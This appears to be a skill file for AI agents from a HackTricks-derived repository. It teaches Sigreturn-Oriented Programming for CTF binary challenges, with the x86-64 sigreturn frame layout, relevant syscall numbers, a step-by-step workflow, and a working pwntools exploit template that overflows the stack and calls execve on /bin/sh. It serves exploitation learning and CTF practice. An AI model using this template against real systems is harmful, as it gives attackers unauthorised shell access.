Hacktricks-skills srop-exploitation
Sigreturn-Oriented Programming (SROP) exploitation for binary security challenges. Use this skill whenever the user mentions SROP, sigreturn, signal handlers, register manipulation, syscall exploitation, or needs to craft exploits that control CPU registers through stack manipulation. Also trigger for CTF challenges involving signal-based vulnerabilities, ret2syscall with register control, or when a binary calls sigreturn and allows stack writes.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-sigreturn-oriented-programming/SKILL.MDSROP Exploitation Skill
Sigreturn-Oriented Programming (SROP) is a powerful exploitation technique that abuses the
sigreturn syscall to gain arbitrary register control and execute syscalls like execve for shell access.
When to Use This Skill
Use this skill when:
- A binary has a buffer overflow and calls
(or you can ROP to it)sigreturn - You need to control CPU registers to call syscalls with specific parameters
- Traditional ROP gadgets are limited but you can write to the stack
- The challenge involves signal handlers or signal-based vulnerabilities
- You're working on CTF pwn challenges with no PIE, no canary, NX enabled
Core Concept
The
sigreturn syscall restores CPU register state from a stack frame. By crafting a fake sigreturn frame on the stack, you can:
- Set all general-purpose registers to arbitrary values
- Control
to redirect executionRIP - Call syscalls with fully controlled parameters (e.g.,
forexecve
)/bin/sh
This is essentially a ret2syscall with full parameter control.
The Sigreturn Frame Structure
On x86-64, the
sigcontext structure stored on the stack looks like this:
+--------------------+--------------------+ | rt_sigreturn() | uc_flags | +--------------------+--------------------+ | &uc | uc_stack.ss_sp | +--------------------+--------------------+ | uc_stack.ss_flags | uc_stack.ss_size | +--------------------+--------------------+ | r8 | r9 | +--------------------+--------------------+ | r10 | r11 | +--------------------+--------------------+ | r12 | r13 | +--------------------+--------------------+ | r14 | r15 | +--------------------+--------------------+ | rdi | rsi | +--------------------+--------------------+ | rbp | rbx | +--------------------+--------------------+ | rdx | rax | +--------------------+--------------------+ | rcx | rsp | +--------------------+--------------------+ | rip | eflags | +--------------------+--------------------+ | cs / gs / fs | err | +--------------------+--------------------+ | trapno | oldmask (unused) | +--------------------+--------------------+ | cr2 (segfault addr)| &fpstate | +--------------------+--------------------+ | __reserved | sigmask | +--------------------+--------------------+
Exploitation Patterns
Pattern 1: Binary Already Calls sigreturn
When the vulnerable binary calls
sigreturn after a buffer overflow:
- Calculate the offset to the return address
- Overwrite the return address with the
function addresssigreturn - Place your crafted
frame immediately aftersigreturn - The frame will be popped when
executessigreturn
Pattern 2: ROP to sigreturn
When the binary doesn't call
sigreturn but you can ROP:
- Find a
gadgetpop rax; ret - Load
(sigreturn syscall number) into0xfrax - Find or use a
instruction addresssyscall - Chain:
→pop_rax
→0xf
→syscall_addrsigreturn_frame
Common Syscall Numbers (x86-64 Linux)
| Syscall | Number | Use Case |
|---|---|---|
| 59 (0x3b) | Spawn shell |
| 15 (0xf) | Restore registers |
| 10 (0xa) | Make memory executable |
| 0 | Read input |
| 1 | Write output |
Using pwn's SigreturnFrame
The
pwntools library provides SigreturnFrame() which automatically constructs a valid frame:
from pwn import * frame = SigreturnFrame() frame.rax = 59 # execve syscall frame.rdi = binsh # /bin/sh address frame.rsi = 0 # NULL (argv) frame.rdx = 0 # NULL (envp) frame.rip = syscall_addr # Where to go after syscall
Step-by-Step Exploitation Workflow
-
Analyze the binary
- Check protections:
checksec --file ./vuln - Look for
in the binary:sigreturnobjdump -d ./vuln | grep sigreturn - Find
string:/bin/shstrings ./vuln | grep /bin/sh
- Check protections:
-
Determine the offset
- Use cyclic patterns or
to find the exact offset to the return addresspwntools
- Use cyclic patterns or
-
Find necessary addresses
function addresssigreturn
instruction address (if ROP needed)syscall
string address/bin/sh
gadget (if ROP needed)pop rax; ret
-
Craft the payload
- Padding to reach return address
address (or ROP chain to it)sigreturn
with desired register valuesSigreturnFrame()
-
Test and iterate
- Use GDB to verify the exploit works
- Check register values before
executessigreturn
Example Exploit Template
from pwn import * # Setup context.binary = ELF('./vuln') p = process() # Find addresses BINSH = next(context.binary.search(b'/bin/sh')) SIGRETURN = context.binary.symbols['sigreturn'] SYSCALL_ADDR = next(context.binary.search(b'\x0f\x05')) # syscall instruction POP_RAX = next(context.binary.search(b'\x58\xc3')) # pop rax; ret # Craft sigreturn frame frame = SigreturnFrame() frame.rax = 59 # execve frame.rdi = BINSH # /bin/sh frame.rsi = 0 # NULL frame.rdx = 0 # NULL frame.rip = SYSCALL_ADDR # Execute syscall after execve setup # Build payload payload = b'A' * OFFSET # Padding to return address payload += p64(POP_RAX) payload += p64(0xf) # sigreturn syscall number payload += p64(SYSCALL_ADDR) payload += bytes(frame) # Send and interact p.sendline(payload) p.interactive()
Debugging Tips
- GDB breakpoint:
(replace with sigreturn address)break *0x40017c - Check registers:
before sigreturn executesinfo registers - Verify frame:
to see the sigreturn frame on stackx/20gx $rsp - Common issues:
- Wrong offset: use cyclic pattern generator
- Wrong syscall number: verify with
man syscall - Frame alignment: ensure 16-byte alignment on x86-64
References
Related Skills
- ROP exploitation (when sigreturn isn't available)
- Ret2Syscall (simpler syscall exploitation)
- Shellcode injection (when you can make memory executable)